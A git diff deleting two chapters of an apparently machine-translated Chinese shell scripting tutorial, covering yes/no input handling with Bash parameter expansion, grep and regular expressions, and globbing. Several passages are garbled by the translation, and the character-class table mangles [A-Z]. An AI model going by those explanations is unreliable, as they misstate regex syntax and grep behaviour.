-在这一章的开始,我们向您展示了一些需要思考的问题:通过陈述是或否来要求用户同意或不同意某件事。正如我们所讨论的,我们可以期望用户给出许多可能的答案。实际上,有五种方式用户可以给我们一个 *yes* : y,Y,yes,yes,YES。 - -*不*也是如此。让我们看看如何在不使用任何技巧的情况下检查这一点: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim yes-no.sh -reader@ubuntu:~/scripts/chapter_09$ cat yes-no.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-01 -# Description: Dealing with yes/no answers. -# Usage: ./yes-no.sh -##################################### - -read -p "Do you like this question? " reply_variable - -# See if the user responded positively. -if [[ ${reply_variable} = 'y' || ${reply_variable} = 'Y' || ${reply_variable} = 'yes' || ${reply_variable} = 'YES' || ${reply_variable} = 'Yes' ]]; then - echo "Great, I worked really hard on it!" - exit 0 -fi - -# Maybe the user responded negatively? -if [[ ${reply_variable} = 'n' || ${reply_variable} = 'N' || ${reply_variable} = 'no' || ${reply_variable} = 'NO' || ${reply_variable} = 'No' ]]; then - echo "You did not? But I worked so hard on it!" - exit 0 -fi - -# If we get here, the user did not give a proper response. -echo "Please use yes/no!" -exit 1 - -reader@ubuntu:~/scripts/chapter_09$ bash yes-no.sh -Do you like this question? Yes -Great, I worked really hard on it! -reader@ubuntu:~/scripts/chapter_09$ bash yes-no.sh -Do you like this question? n -You did not? But I worked so hard on it! -reader@ubuntu:~/scripts/chapter_09$ bash yes-no.sh -Do you like this question? maybe -Please use yes/no! -``` - -虽然这是可行的,但它并不是一个真正可行的解决方案。更糟糕的是,如果用户在尝试键入 *Yes* 时碰巧打开了 Caps Lock,我们最终将得到 *yES* !我们需要把它也包括进去吗?答案当然是否定的,Bash 有一个俏皮的小功能叫做**参数扩展**。我们将在[第 16 章](16.html)、 *Bash 参数替换和扩展*中对此进行更深入的解释,但现在,我们可以给你预览一下它的功能: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp yes-no.sh yes-no-optimized.sh -reader@ubuntu:~/scripts/chapter_09$ vim yes-no-optimized.sh -reader@ubuntu:~/scripts/chapter_09$ cat yes-no-optimized.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-01 -# Description: Dealing with yes/no answers, smarter this time! -# Usage: ./yes-no-optimized.sh -##################################### - -read -p "Do you like this question? " reply_variable - -# See if the user responded positively. -if [[ ${reply_variable,,} = 'y' || ${reply_variable,,} = 'yes' ]]; then - echo "Great, I worked really hard on it!" - exit 0 -fi - -# Maybe the user responded negatively? -if [[ ${reply_variable^^} = 'N' || ${reply_variable^^} = 'NO' ]]; then - echo "You did not? But I worked so hard on it!" - exit 0 -fi - -# If we get here, the user did not give a proper response. -echo "Please use yes/no!" -exit 1 - -reader@ubuntu:~/scripts/chapter_09$ bash yes-no-optimized.sh -Do you like this question? YES -Great, I worked really hard on it! -reader@ubuntu:~/scripts/chapter_09$ bash yes-no-optimized.sh -Do you like this question? no -You did not? But I worked so hard on it! -``` - -我们现在不再对每个答案进行五次检查,而是使用两次检查:一次检查完整的单词(是/否),一次检查简短的单字母答案(y/n)。但是,当我们只指定了*是*时,答案*是*是如何工作的?这个问题的解决方案在于,和^^,我们已经将它们包含在变量中。所以,我们用${reply_variable,,}和${reply_variable^^}.代替了${reply_variable}在、、的情况下,变量首先被解析为其值,然后被转换为*所有小写字母*。正因为如此,这三个答案–*是,是,是*–都可以与*是*相提并论,因为这就是 Bash 将如何扩展它们。你可能会猜测^^做了什么:它将字符串的内容转换成大写,这就是为什么我们可以将它与 NO 进行比较,即使我们给出的答案是 no。 - -Always try to place yourself in the users' shoes. They are dealing with many different tools and commands. In most of these cases, logic as given for dealing with different ways of writing yes/no has been integrated. This can make even the most friendly system administrator a bit lazy and train them to go for the one-letter answer. But you wouldn't want to punish the sysadmin that actually listens to you, either! So, make a point of dealing with the most *reasonable* answers in a friendly manner. - -# 摘要 - -在本章中,我们讨论了 Bash 脚本中错误的许多方面。首先,描述了错误**检查**。首先,我们解释了退出状态是命令传达其执行是成功还是失败的一种方式。介绍了`test`命令及其简写`[[...]]`符号。这个命令允许我们在脚本中执行功能检查。例如,比较字符串和整数,检查文件或目录是否已创建且可访问/可写。我们快速复习了一下变量,然后简单介绍了如何使用设置的调试标志`-x`运行脚本。 - -本章第二部分涉及错误**处理**。我们描述了(非官方的)`if-then-exit`构造,我们用它来检查命令执行,如果失败就退出。在接下来的例子中,我们看到,当我们想要检查变量时,我们并不总是需要编写返回代码;我们可以用$?直接在测试用例中。接着,我们预览了如何使用`if-then-else`逻辑以更好的方式处理错误。我们在本章的第二部分结束时介绍了错误处理的速记语法,我们将在本书的其余部分继续使用它。 - -在本章的第三部分也是最后一部分,我们解释了错误**预防**。我们学习了如何检查参数是否正确,以及如何在调用脚本时避免绝对路径和相对路径的问题。在本章的最后一部分,我们回答了开头提出的问题:如何最好地处理用户的是/否输入?通过使用一些简单的 Bash 参数扩展(这将在本书的最后一章中进一步解释),我们能够简单地为我们的脚本用户提供多种应答风格。 - -本章介绍了以下命令:`mktemp`、`true`和`false`。 - -# 问题 - -1. 为什么我们需要退出状态? -2. 退出状态、退出代码和返回代码有什么区别? -3. 我们在测试中使用哪个标志来测试以下内容? - * 现有目录 - * 可写文件 - * 现有的符号链接 -4. `test -d /tmp/`的首选速记语法是什么? -5. 我们如何在 Bash 会话中打印调试信息? -6. 如何才能检查一个变量是否有内容? -7. 获取返回代码的 Bash 格式是什么? -8. `||`和`&&`中,哪个是逻辑“与”,哪个是“或”? -9. 获取参数数量的 Bash 格式是什么? -10. 我们如何确保用户从哪个工作目录调用脚本并不重要? -11. 在处理用户输入时,Bash 参数扩展如何帮助我们? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **测试** **命令**:[http://wiki.bash-hackers.org/commands/classictest](http://wiki.bash-hackers.org/commands/classictest) - -* **Bash 调试**:[http://tldp . org/LDP/Bash-初学者-指南/html/section _ 02 _ 03 . html](http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html) -* **逻辑运算符**:[https://secure . PHP . net/manual/en/language . operators . logic . PHP](https://secure.php.net/manual/en/language.operators.logical.php)****** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/10.md b/docs/learn-linux-shell-script/10.md deleted file mode 100644 index 278bf706..00000000 --- a/docs/learn-linux-shell-script/10.md +++ /dev/null @@ -1,1199 +0,0 @@ -# 十、正则表达式 - -本章介绍正则表达式,以及我们可以用来利用它们的能力的主要命令。我们将首先研究正则表达式背后的理论,然后深入研究使用`grep`和`sed`正则表达式的实际例子。 - -我们还将解释 globbing,以及如何在命令行上使用它。 - -本章将介绍以下命令:`grep`、`set`、`egrep`和`sed`。 - -本章将涵盖以下主题: - -* 什么是正则表达式? -* 通配符 -* 使用带有`egrep`和`sed`的正则表达式 - -# 技术要求 - -本章所有脚本均可在 GitHub:[https://GitHub . com/tam mert/learn-Linux-shell-scripting/tree/master/chapter _ 10](https://github.com/tammert/learn-linux-shell-scripting/tree/master/chapter_10)上找到。除此之外,Ubuntu 虚拟机仍然是我们测试和运行本章脚本的方式。 - -# 介绍正则表达式 - -你可能以前听过*正则表达式*或者*正则表达式*这个术语。对许多人来说,正则表达式看起来非常复杂,经常是从互联网或教科书的某个地方提取的,而没有完全掌握它的功能。 - -虽然这对于完成设定的任务来说很好,但是比一般的系统管理员更好地理解正则表达式确实可以让您在创建脚本和使用终端方面脱颖而出。 - -一个定制良好的正则表达式确实可以帮助您保持脚本的简短、简单和对未来变化的鲁棒性。 - -# 什么是正则表达式? - -本质上,正则表达式是一段*文本*,用作其他文本的*搜索模式*。正则表达式可以很容易地说,例如,我想选择所有包含五个字符长的单词的行,或者寻找所有以`.log`结尾的文件。 - -一个例子可能有助于你的理解。首先,我们需要一个可以用来探索正则表达式的命令。在 Linux 中使用正则表达式最著名的命令是`grep`。 - -`grep`是首字母缩略词,意思是***g**lobal**r**e**e**expression**p**rint*。如你所见,这似乎是一个很好的解释这个概念的候选人! - -# 可做文件内的字符串查找 - -我们将深入如下: - -```sh -reader@ubuntu:~/scripts/chapter_10$ vim grep-file.txt -reader@ubuntu:~/scripts/chapter_10$ cat grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'cool' grep-file.txt -Regular expressions are pretty cool -reader@ubuntu:~/scripts/chapter_10$ cat grep-file.txt | grep 'USA' -but in the USA they use color (and realize)! -``` - -首先,我们先来探讨一下`grep`的基本功能,然后再来讨论正则表达式。`grep`做的真的很简单,如`man grep` : *打印符合图案的线条*。 - -在前面的例子中,我们创建了一个包含一些句子的文件。其中一些以大写字母开头;它们的结局大多不同;他们用了一些相似的词,但并不完全相同。这些和更多的特征将在进一步的例子中使用。 - -首先,我们使用`grep`匹配一个单词(默认情况下搜索区分大小写),并打印出来。`grep`有两种工作模式: - -* `grep ` -* `grep `(需要以管道形式输入,或`|`) - -第一种操作模式允许您指定一个文件名,如果需要打印的行与您指定的模式匹配,您可以从中指定要打印的行。`grep 'cool' grep-file.txt`命令就是一个例子。 - -还有另一种使用`grep`的方式:在溪流中。一条小溪是*运送到你的终点站的东西,但是可以在移动中改变。在这种情况下,文件的`cat`通常会将所有行打印到您的终端。* - -但是,使用管道符号(`|`)我们将`cat`的输出重定向到`grep`;在这种情况下,我们只需要指定要匹配的模式。任何不匹配的行将被丢弃,并且不会显示在您的终端中。 - -如你所见,这个的完整语法是`cat grep-file.txt | grep 'USA'`。 - -Piping is a form of redirection that we will further discuss in [Chapter 12](12.html), *Using Pipes and Redirection in Scripts*. For now, keep in mind that by using the pipe, the *output* of `cat` is used as *input* for `grep`, in the same manner as the filename is used as input. While discussing `grep`, we will (for now) use the method explained first, which does not use redirection. - -因为*酷*和*美国*这两个词只出现在一行,所以`grep`的两个实例都只打印了那一行。但是如果一个单词出现在多行中,所有的单词都会按照`grep`遇到它们的顺序打印出来(通常是从上到下): - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'use' grep-file.txt -We can use this regular file for testing grep. -but in the USA they use color (and realize)! -``` - -通过`grep`,可以指定我们希望搜索不区分大小写,而不是默认的区分大小写方法。例如,这是在日志文件中查找错误的好方法。有些程序使用*错误*这个词,有些程序使用*错误*,我们甚至偶尔会遇到*错误*。所有这些结果都可以通过向`grep`提供`-i`标志来返回: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'regular' grep-file.txt -We can use this regular file for testing grep. -reader@ubuntu:~/scripts/chapter_10$ grep -i 'regular' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -``` - -通过提供`-i`,我们现在看到“常规*”*和“常规*”*都已经匹配,并且它们的行已经被打印。 - -# 贪欲 - -默认情况下,正则表达式被认为是贪婪的。这似乎是一个描述技术概念的奇怪术语,但它确实非常适合。为了说明为什么正则表达式被认为是贪婪的,请看这个例子: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'in' grep-file.txt -We can use this regular file for testing grep. -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -reader@ubuntu:~/scripts/chapter_10$ grep 'the' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -如您所见,`grep`默认情况下不会查找完整的单词。它会查看文件中的字符,如果一个字符串与搜索匹配(不管它们之前或之后是什么),就会打印该行。 - -在第一个例子中,`in`既匹配中的正常单词**,又测试** g 中的**,在第二个例子中,两行都有两个匹配项,都是**的**和**的** y。** - -如果您只想返回整个单词,请确保在您的`grep`搜索模式中包含空格: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep ' in ' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -reader@ubuntu:~/scripts/chapter_10$ grep ' the ' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -如您所见,现在对`' in '`的搜索没有返回带有单词**测试**的行,因为在中的字符串**没有被空格包围。** - -A regular expression is just a definition of a particular search pattern, which is implemented differently by individual scripting/programming languages. The regular expressions we are using with Bash are different from those in Perl or Java, for example. While in some languages, greediness can be tuned or even turned off, regular expressions under `grep` and `sed` are always greedy. This is not really an issue, just something to consider when defining your search patterns. - -# 字符匹配 - -我们现在知道如何搜索整个单词,即使我们还不完全确定大写和小写。 - -我们还看到(大多数)Linux 应用下的正则表达式是贪婪的,所以我们需要确保通过指定空白和字符锚来正确处理这个问题,我们将很快解释这一点。 - -在这两种情况下,我们都知道自己在寻找什么。但是,如果我们并不真正知道我们在寻找什么,或者也许只是它的一部分呢?这个困境的答案是字符匹配。 - -在正则表达式中,有两个字符可以用来替代其他字符: - -* `.`(点)匹配任何一个字符(除了换行符) -* `*`(星号)匹配字符之前的任意重复次数(甚至零个实例) - -一个例子将有助于理解这一点: - -```sh -reader@ubuntu:~/scripts/chapter_10$ vim character-class.txt -reader@ubuntu:~/scripts/chapter_10$ cat character-class.txt -eee -e2e -e e -aaa -a2a -a a -aabb -reader@ubuntu:~/scripts/chapter_10$ grep 'e.e' character-class.txt -eee -e2e -e e -reader@ubuntu:~/scripts/chapter_10$ grep 'aaa*' character-class.txt -aaa -aabb -reader@ubuntu:~/scripts/chapter_10$ grep 'aab*' character-class.txt -aaa -aabb -``` - -那里发生了很多事情,其中一些可能感觉非常反直觉。我们将一个接一个地讨论它们,并详细介绍正在发生的事情: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'e.e' character-class.txt -eee -e2e -e e -``` - -在这个例子中,我们用点来代替*任何字符*。如我们所见,这包括字母(e **e** e)和数字(e **2** e)。但是,它也匹配最后一行两个 es 之间的空格字符。 - -这里还有一个例子: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'aaa*' character-class.txt -aaa -aabb -``` - -当我们使用`*`替换时,我们寻找的是前面字符的**零个或多个**实例。在搜索模式`aaa*`中,这意味着以下字符串有效: - -* `aa` -* `aaa` -* `aaaa` -* `aaaaa` - -...等等。而第一个结果之后的一切应该都很清楚了,为什么`aa`也匹配`aaa*`?因为零在*零甚至更多!*那样的话,如果最后一个`a`是零,我们只剩下`aa`了。 - -在最后一个例子中也发生了同样的事情: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'aab*' character-class.txt -aaa -aabb -``` - -图案`aab*`匹配 **aa** a 内的 aa,因为`b*`可以为零,这使得图案最终成为`aa`。当然也匹配一个或多个 bs ( `aabb`完全匹配)。 - -当您对要查找的内容只有一个大概的了解时,这些通配符非常有用。然而,有时你会对自己的需求有更具体的想法。 - -在这种情况下,我们可以使用括号[...】,将我们的替换缩小到某个字符集。下面的例子应该能让你很好地理解如何使用它: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'f.r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[ao]r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[abcdefghijklmnopqrstuvwxyz]r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[az]r' grep-file.txt -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[a-z]r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[a-k]r' grep-file.txt -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep 'f[k-q]r' grep-file.txt -We can use this regular file for testing grep -``` - -首先,我们演示使用`.`(点)替换任何字符。在这种情况下,模式 **f.r** 匹配的**和 **far** 。** - -接下来,我们使用`f[ao]r`中的括号符号来表示我们将接受`f`和`r`之间的单个字符,这在`ao`的字符集中。不出所料,这将再次返回的**远**和**。** - -如果用`f[az]r`模式做这个,只能搭配**远**和 **fzr** 。由于字符串`fzr`不在我们的文本文件中(显然一个字也没有),我们只看到打印了**远**的行。 - -接下来,假设你想匹配一个字母,但不是一个数字。如果像第一个例子一样使用`.`(点)进行搜索,将返回字母和数字。因此,您还会得到,例如, **f2r** 作为匹配项(应该在文件中,而不是在文件中)。 - -如果使用括号符号,可以使用以下符号:`f[abcdefghijklmnopqrstuvwxyz]r`。匹配任何字母 a-z,在`f`和`r`之间。然而,在键盘上打出来并不好(相信我)。 - -幸运的是,POSIX 正则表达式的创建者为此引入了一个简写:`[a-z]`,如前面的例子所示。我们也可以使用字母表的子集,如图所示:`f[a-k]r`。由于字母 **o** 不在 a 和 k 之间,因此与在**上不匹配。** - -最后一个例子表明,这是一个强大且实用的模式: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep reali[sz]e grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -希望这一切都有意义。在继续在线锚之前,我们将通过组合符号更进一步。 - -在前面的例子中,您可以看到我们可以使用括号符号来处理美国英语和英国英语之间的一些差异。然而,这仅在拼写差异为单个字母时有效,就像意识到一样。 - -就颜色而言,我们需要处理一个额外的字母。这听起来像是零或更多的情况,不是吗? - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'colo[u]*r' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -通过使用模式`colo[u]*r`,我们正在搜索一行,该行包含以 **colo** 开头的单词,可以包含也可以不包含任意数量的 **u** s,并以 **r** 结尾。由于`color`和`colour`对于该图案都是可以接受的,所以两行都被打印。 - -您可能会尝试使用零或更多符号的点字符`*`。但是,仔细看看在这种情况下会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep 'colo.*r' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -同样,两条线是匹配的。但是,由于第二行包含另一个更远的 **r** ,字符串`color (and r`匹配,以及`colour`和`color`。 - -这是正则表达式模式对于我们的目的来说过于贪婪的典型例子。虽然我们不能说它不那么贪婪,但`grep`中有一个选项,让我们只寻找匹配的单个单词。 - -符号`-w`计算空格和行尾/开头,只找到整个单词。它是这样使用的: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep -w 'colo.*r' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -现在只匹配`colour`和`color`两个字。之前,我们在单词周围放了空格来促进这种行为,但是由于单词`colour`在行尾,所以后面没有空格。 - -自己尝试一下,看看为什么封闭`colo.*r`搜索模式不能使用空白,但是可以使用`-w`选项。 - -Some implementations of regular expressions have the `{3}` notation, to supplement the `*` notation. In this notation, you can specify exactly how often a pattern should be present. The search pattern `[a-z]{3}` would match all lowercase strings of exactly three characters. In Linux, this can only be done with extended regular expressions, which we will see later in this chapter. - -# 线锚 - -我们已经简单提到了线锚。根据我们到目前为止给出的解释,我们只能在一行中搜索单词;我们还不能对*设定期望,这些词在*中的位置。为此,我们使用线锚。 - -在正则表达式中,`^`(插入符号)字符表示一行的开始,而`$`(美元)表示一行的结束。我们可以在搜索模式中使用这些,例如,在以下场景中: - -* 查找单词 error,但只能在一行的开头:`^error` -* 寻找以点结束的线:`\.$` -* 寻找空行:`^$` - -第一个用法,在一行的开头找一些东西,应该很清楚。下面的例子使用`grep -i`(记住,这允许我们不区分大小写地搜索),展示了我们如何使用它来按行位置过滤: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep -i 'regular' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -reader@ubuntu:~/scripts/chapter_10$ grep -i '^regular' grep-file.txt -Regular expressions are pretty cool -``` - -在第一个搜索模式`regular`中,我们被返回两行。这并不意外,因为两行都包含单词*常规*(尽管大小写不同)。 - -现在,为了选择以单词*开始的行,我们使用插入符号`^`形成模式`^regular`。这仅返回单词位于该行第一个位置的行。(注意,如果我们没有选择在`grep`上包含`-i`,我们可以使用`[Rr]egular`来代替。)* - -下一个例子,我们寻找以点结束的线,有点复杂。大家记得,正则表达式中的点被认为是一个特殊的字符;它是任何其他角色的替代品。如果我们正常使用,我们会看到文件返回中的所有行(因为所有行都以*任何一个字符*结束)。 - -为了在文本中实际搜索一个点,我们需要**通过在它前面加一个反斜杠来转义这个点;这告诉正则表达式引擎不要将点解释为特殊字符,而是搜索它:** - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep '.$' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep '\.$' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -``` - -由于`\`用于转义特殊字符,您可能会遇到在文本中寻找反斜杠的情况。在这种情况下,您可以使用反斜杠来转义反斜杠的特殊功能!在这种情况下,您的图案将是`\\`,与`\`弦相匹配。 - -在这个例子中,我们遇到了另一个问题。到目前为止,我们一直用单引号引用所有模式。然而,这并不总是需要的!比如`grep cool grep-file.txt`和`grep 'cool' grep-file.txt`一样好用。 - -那么,我们为什么要这么做?提示:试试前面的例子,用虚线结尾,不带引号。然后记住,Bash 中的一个美元字符也被用来表示变量。如果引用的话,`$`不会被 Bash 展开,Bash 会返回有问题的结果。 - -我们将在[第 16 章](16.html)、 *Bash 参数替换和扩展*中讨论 Bash 扩展。 - -最后,我们提出了`^$`模式。这会搜索一个行的开头,然后直接搜索一个行的结尾。只有一种情况会出现这种情况:空行。 - -为了说明你为什么想要找到空行,让我们来看看一个新的`grep`标志:`-v`。这个标志是`--invert-match`的简写,它应该给出一个关于它实际做什么的好线索:它不是打印匹配的行,而是打印不匹配的行。 - -使用`grep -v '^$' `,可以打印一个没有空行的文件。尝试一下随机配置文件: - -```sh -reader@ubuntu:/etc$ cat /etc/ssh/ssh_config - -# This is the ssh client system-wide configuration file. See -# ssh_config(5) for more information. This file provides defaults for -# users, and the values can be changed in per-user configuration files -# or on the command line. - -# Configuration data is parsed as follows: - -reader@ubuntu:/etc$ grep -v '^$' /etc/ssh/ssh_config -# This is the ssh client system-wide configuration file. See -# ssh_config(5) for more information. This file provides defaults for -# users, and the values can be changed in per-user configuration files -# or on the command line. -# Configuration data is parsed as follows: - -``` - -可以看到,`/etc/ssh/ssh_config`文件以空行开始。然后,在注释块之间,还有另一个空行。通过使用`grep -v '^$'`,这些空行被删除。虽然这是一个很好的练习,但这并没有给我们省下那么多台词。 - -然而,有一种搜索模式被广泛使用并且非常强大:从配置文件中过滤掉注释。这个操作让我们快速了解实际配置了什么,并省略了所有注释(注释有其自身的优点,但当您只想查看配置了哪些选项时,可能会造成阻碍)。 - -为此,我们将行首插入符号与一个 hashtag 组合在一起,hashtag 表示一个注释: - -```sh -reader@ubuntu:/etc$ grep -v '^#' /etc/ssh/ssh_config - -Host * - SendEnv LANG LC_* - HashKnownHosts yes - GSSAPIAuthentication yes -``` - -这仍然会打印所有空行,但不再打印注释。在这个特殊的文件中,在 51 行中,只有 4 行包含实际的配置指令!所有其他行要么为空,要么包含注释。很酷,对吧? - -With `grep`, it is also possible to use multiple patterns at the same time. By using this, you can combine the filtering of empty lines and comment lines for a condensed, quick overview of configuration options. Multiple patterns are defined using the `-e` option. The full command in this case is `grep -v -e '^$' -e '^#' /etc/ssh/ssh_config`. Try it! - -# 字符类 - -我们现在已经看到了许多如何使用正则表达式的例子。虽然大多数事情都很直观,但我们也看到,如果我们想同时过滤大写和小写字符串,我们要么必须为`grep`指定`-i`选项,要么将搜索模式从`[a-z]`更改为`[a-zA-z]`。对于数字,我们需要使用`[0-9]`。 - -有些人可能觉得这很好,但其他人可能不同意。在这种情况下,可以使用另一种符号:`[[:pattern:]]`。 - -下一个示例使用了新的双括号符号和旧的单括号符号: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep [[:digit:]] character-class.txt -e2e -a2a -reader@ubuntu:~/scripts/chapter_10$ grep [0-9] character-class.txt -e2e -a2a -``` - -正如你所看到的,这两种模式会产生相同的线条:带有数字的线条。大写字符也可以做到这一点: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep [[:upper:]] grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ grep [A-Z] grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -``` - -说到底,你喜欢用哪种符号是一个问题。不过,对于双括号符号有一点要说:它更接近于其他脚本/编程语言的实现。例如,大多数正则表达式实现使用`\w`(单词)选择字母,使用`\d`(数字)搜索数字。在`\w`的情况下,大写变体直观上是`\W`。 - -为了方便起见,这里有一个表,其中包含了最常见的 POSIX 双括号字符类: - -| 符号 | **描述** | **单括号等效** | -| `[[:alnum:]]` | 匹配小写和大写字母或数字 | [a-z A-Z 0-9] | -| `[[:alpha:]]` | 匹配小写和大写字母 | [a-z A-Z] | -| `[[:digit:]]` | 匹配数字 | [0-9] | -| `[[:lower:]]` | 匹配小写字母 | [a-z] | -| `[[:upper:]]` | 匹配大写字母 | [阿-兹] | -| `[[:blank:]]` | 匹配空格和制表符 | [ \t] | - -We prefer to use the double bracket notation, as it maps better to other regular expression implementations. Feel free to use either in your scripting! However, as always: make sure you choose one, and stick with it; not following a standard results in sloppy scripts that are confusing to readers. The rest of the examples in this book will use the double bracket notation. - -# 通配符 - -我们现在已经掌握了正则表达式的基本知识。Linux 上还有一个和正则表达式密切相关的主题: *globbing* 。即使你可能没有意识到,你已经在这本书里看到了全球化的例子。 - -更好的是,实际上很有可能你已经在实践中使用了*全球模式*。如果,在命令行上工作时,你曾经使用过通配符`*`,那么你已经全局化了! - -# 什么是全球化? - -简单地说,glob 模式描述了在文件路径操作中注入通配符。所以,当你做`cp * /tmp/`的时候,你复制所有的文件(不是目录!)在当前工作目录到`/tmp/`目录。 - -`*`扩展到工作目录内的所有常规文件,然后全部复制到`/tmp/`中。 - -这里有一个简单的例子: - -```sh -reader@ubuntu:~/scripts/chapter_10$ ls -l -total 8 --rw-rw-r-- 1 reader reader 29 Oct 14 10:29 character-class.txt --rw-rw-r-- 1 reader reader 219 Oct 8 19:22 grep-file.txt -reader@ubuntu:~/scripts/chapter_10$ cp * /tmp/ -reader@ubuntu:~/scripts/chapter_10$ ls -l /tmp/ -total 20 --rw-rw-r-- 1 reader reader 29 Oct 14 16:35 character-class.txt --rw-rw-r-- 1 reader reader 219 Oct 14 16:35 grep-file.txt - -``` - -我们没有同时执行`cp grep-file.txt /tmp/`和`cp character-class.txt /tmp/`,而是使用`*`来选择它们。相同的球形图案可用于`rm`: - -```sh -reader@ubuntu:/tmp$ ls -l -total 16 --rw-rw-r-- 1 reader reader 29 Oct 14 16:37 character-class.txt --rw-rw-r-- 1 reader reader 219 Oct 14 16:37 grep-file.txt -drwx------ 3 root root 4096 Oct 14 09:22 systemd-private-c34c8acb350... -drwx------ 3 root root 4096 Oct 14 09:22 systemd-private-c34c8acb350... -reader@ubuntu:/tmp$ rm * -rm: cannot remove 'systemd-private-c34c8acb350...': Is a directory -rm: cannot remove 'systemd-private-c34c8acb350...': Is a directory -reader@ubuntu:/tmp$ ls -l -total 8 -drwx------ 3 root root 4096 Oct 14 09:22 systemd-private-c34c8acb350... -drwx------ 3 root root 4096 Oct 14 09:22 systemd-private-c34c8acb350... -``` - -默认情况下,`rm`只删除文件,不删除目录(从上例的错误中可以看到)。如[第六章](06.html)、*文件操作*所述,增加一个`-r`也会递归删除目录*。* - -同样,一定要考虑这有多具有破坏性:在没有警告的情况下,您可以删除当前树位置中的每个文件(当然,如果您有权限)。前面的例子展示了`*` glob 模式有多强大:它扩展到它能找到的每个文件,不管是什么类型。 - -# 与正则表达式的相似之处 - -如上所述,glob 命令实现了类似于正则表达式的效果。尽管有一些不同。例如,正则表达式中的`*`字符代表前面字符出现零次或多次的*。对于 globbing,它是任何和所有字符的通配符,更类似于正则表达式的`.*`符号。* - -与正则表达式一样,glob 模式可以由普通字符和特殊字符组合而成。看一个例子,其中`ls`与不同的参数/全局模式一起使用: - -```sh -reader@ubuntu:~/scripts/chapter_09$ ls -l -total 68 --rw-rw-r-- 1 reader reader 682 Oct 2 18:31 empty-file.sh --rw-rw-r-- 1 reader reader 1183 Oct 1 19:06 file-create.sh --rw-rw-r-- 1 reader reader 467 Sep 29 19:43 functional-check.sh - -reader@ubuntu:~/scripts/chapter_09$ ls -l * --rw-rw-r-- 1 reader reader 682 Oct 2 18:31 empty-file.sh --rw-rw-r-- 1 reader reader 1183 Oct 1 19:06 file-create.sh --rw-rw-r-- 1 reader reader 467 Sep 29 19:43 functional-check.sh - -reader@ubuntu:~/scripts/chapter_09$ ls -l if-then-exit.sh --rw-rw-r-- 1 reader reader 416 Sep 30 18:51 if-then-exit.sh -reader@ubuntu:~/scripts/chapter_09$ ls -l if-*.sh --rw-rw-r-- 1 reader reader 448 Sep 30 20:10 if-then-else-proper.sh --rw-rw-r-- 1 reader reader 422 Sep 30 19:56 if-then-else.sh --rw-rw-r-- 1 reader reader 535 Sep 30 19:44 if-then-exit-rc-improved.sh --rw-rw-r-- 1 reader reader 556 Sep 30 19:18 if-then-exit-rc.sh --rw-rw-r-- 1 reader reader 416 Sep 30 18:51 if-then-exit.sh -``` - -在前一章的`scripts`目录中,我们首先运行一个普通的`ls -l`。如您所知,这会打印目录中的所有文件。现在,如果我们使用`ls -l *`,我们会得到完全相同的结果。看起来,在没有参数的情况下,`ls`将为我们注入一个通配符 glob。 - 